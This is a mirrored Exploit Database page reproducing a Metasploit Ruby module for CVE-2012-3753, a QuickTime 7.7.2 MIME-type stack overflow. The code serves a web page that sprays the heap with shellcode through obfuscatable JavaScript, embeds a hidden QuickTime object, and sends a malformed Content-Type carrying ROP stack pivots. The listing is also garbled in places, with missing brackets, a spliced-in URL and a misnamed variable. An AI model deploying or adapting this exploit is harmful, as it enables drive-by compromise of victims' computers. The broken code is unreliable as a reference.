Apple QuickTime 7.7.2 – MIME Type Buffer Overflow (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2012-11-28
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/22973/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Egghunter

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:ua_name=> HttpClients::SAFARI,

:ua_maxver=> '5.0.1',

:ua_maxver=> '5.1.7',

:javascript => true,

:rank => NormalRanking, # reliable memory corruption

:vuln_test=> nil

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack

based overflow occurs when processing a malformed Content-Type header. The module

has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3.

'Author' =>

[

'Pavel Polischouk', # Vulnerability discovery

'juan vazquez' # Metasploit module

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-3753' ],

[ 'OSVDB', '87088'],

[ 'BID', '56438' ],

[ 'URL', 'http://support.apple.com/kb/HT5581' ],

[ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'Platform' => 'win',

'Targets'=>

[

# Tested with QuickTime 7.7.2

[ 'Automatic', {} ],

[ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2',

{

'OffsetFirstStackPivot' => 389,

'OffsetSecondStackPivot' => 105,

'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,

'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts

'SprayOffset' => 264,

'SprayedAddress' => 0x60130124

}

[ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2',

{

'OffsetFirstStackPivot' => 389,

'OffsetSecondStackPivot' => 105,

'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,

'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts

'SprayOffset' => 264,

'SprayedAddress' => 0x60130124

}

]

'Privileged' => false,

'DisclosureDate' => 'Nov 07 2012',

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class

)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

browser_name = ""

if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/

browser_name = "Safari 5.1.7"

elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/

browser_name = "Safari 5.0.5"

end

os_name = 'Windows XP SP3'

targets.each do |t|

if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def on_request_uri(client, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent}")

send_not_found(cli)

return

end

return if ((p = regenerate_payload(client)) == nil)

if request.uri =~ /\.smil$/

print_status("Sending exploit (target: #{my_target.name})")

smil = rand_text_alpha(20)

type = rand_text_alpha_lower(1)

subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot'])

subtype << [my_target['SecondStackPivot']].pack("V")

subtype << [my_target['SprayedAddress']].pack("V")

subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length)

subtype << rand_text_alpha_lower(4)

subtype << [my_target['FirstStackPivot']].pack("V")

subtype << rand_text_alpha_lower(10000 - subtype.length)

send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })

else

print_status("Sending initial HTML")

url =((datastore['SSL']) ? "https://" : "http://")

url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])

url << ":" + datastore['SRVPORT'].to_s

url << get_resource

fname = rand_text_alphanumeric(4)

code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})

js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))

offset = rand_text(my_target['SprayOffset'])

js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch))

fill = rand_text(4)

js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch))

# Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html

js = <<-JSSPRAY

function heapSpray(offset, shellcode, fillsled) {

var chunk_size, headersize, fillsled_len, code;

var i, codewithnum;

chunk_size = 0x40000;

headersize = 0x10;

fillsled_len = chunk_size - (headersize + offset.length + shellcode.length);

while (fillsled.length <fillsled_len)

fillsled += fillsled;

fillsled = fillsled.substring(0, fillsled_len);

code = offset + shellcode + fillsled;

heap_chunks = new Array();

for (i = 0; i<1000; i++)

{

codewithnum = "HERE" + code;

heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

}

var myoffset = unescape("#{js_offset}");

var myshellcode = unescape("#{js_code}");

var myfillsled = unescape("#{js_fill}");

heapSpray(myoffset,myshellcode,myfillsled);

JSSPRAY

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

content ="<html>"

content << "<head><script>"

content << "#{js}"

content << "</script></head>"

content << "<body>"

content << <<-ENDEMBED

<OBJECT

CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

WIDTH="1"

HEIGHT="1"

CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">

<EMBED

SRC= "https://www.exploit-db.com/exploits/22973/#{url}/#{fname}.smil"

QTSRC= "#{url}/#{fname}.smil"

TARGET = "myself"

WIDTH= "1"

HEIGHT = "1"

AUTOPLAY = "true"

PLUGIN = "quicktimeplugin"

TYPE = "video/quicktime"

CACHE= "false"

PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >

</EMBED>

</OBJECT>

ENDEMBED

content << "</body></html>"

send_response(client, content, { 'Content-Type' => "text/html" })

end

# Handle the payload

handler(client)

end